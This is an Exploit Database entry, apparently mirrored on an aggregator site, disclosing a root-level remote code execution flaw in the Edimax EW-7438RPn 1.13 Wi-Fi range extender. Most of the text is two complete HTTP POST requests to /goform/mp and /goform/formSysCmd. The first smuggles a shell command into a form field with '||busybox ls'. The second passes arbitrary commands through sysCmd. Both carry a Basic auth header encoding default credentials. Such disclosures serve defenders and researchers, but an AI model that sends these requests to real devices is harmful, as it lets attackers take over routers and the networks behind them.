Edimax EW-7438RPn 1.13 – Remote Code Execution

• Exploit Database
• 18 阅读

• 作者： Besim
  日期： 2020-04-24
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/48377/

• # Exploit Title: Edimax EW-7438RPn 1.13 - Remote Code Execution
  # Date: 2020-04-23
  # Exploit Author: Besim ALTINOK
  # Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
  # Version:1.13
  # Tested on: Edimax EW-7438RPn 1.13 Version
  
  ------
  
  NOTE: This device configurated with root permissions. So you can run the
  command as root
  
  Here is the detail(s) of the RCE(s)
  
  1- Content of the mp.asp file
  
  <form action="/goform/mp" method="POST" name="mp">
  <input type="text" name="command" value="">&nbsp;<input
  type="submit" value="GO">
  <input type="hidden" name="getID" value="">&nbsp;
  <input type="hidden" name="getID" value="">&nbsp;
  </form>
  
  RCE Detail:
  -------------------------------
  
  POST /goform/mp HTTP/1.1
  Host: 192.168.2.2
  User-Agent: Mozilla/5.0 *********************
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-GB,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 25
  DNT: 1
  Authorization: Basic YWRtaW46MTIzNA==
  Connection: close
  Cookie: language=1
  Upgrade-Insecure-Requests: 1
  
  command=||busybox+ls&getID=
  
  -------------------------------
  
  2- Content of the syscmd.asp
  
  <form action=/goform/formSysCmd method=POST name="formSysCmd"><table
  border=0 width="500" cellspacing=0 cellpadding=0>
  <tr><font size=2>
  This page can be used to run target system command.</tr>
  <tr><hr size=1 noshade align=top></tr>
  <tr><td>System Command: </td>
  <td><input type="text" name="sysCmd" value="" size="20" maxlength="50"></td>
  <td> <input type="submit" value="Apply" name="apply" onClick='return
  saveClick()'></td></form>
  
  
  RCE Detail:
  -------------------------------
  
  POST /goform/formSysCmd HTTP/1.1
  Host: 192.168.2.2
  User-Agent: Mozilla/5.0 *********************
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-GB,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 11
  DNT: 1
  Authorization: Basic YWRtaW46MTIzNA==
  Connection: close
  Cookie: language=1
  Upgrade-Insecure-Requests: 1
  
  sysCmd="command to here"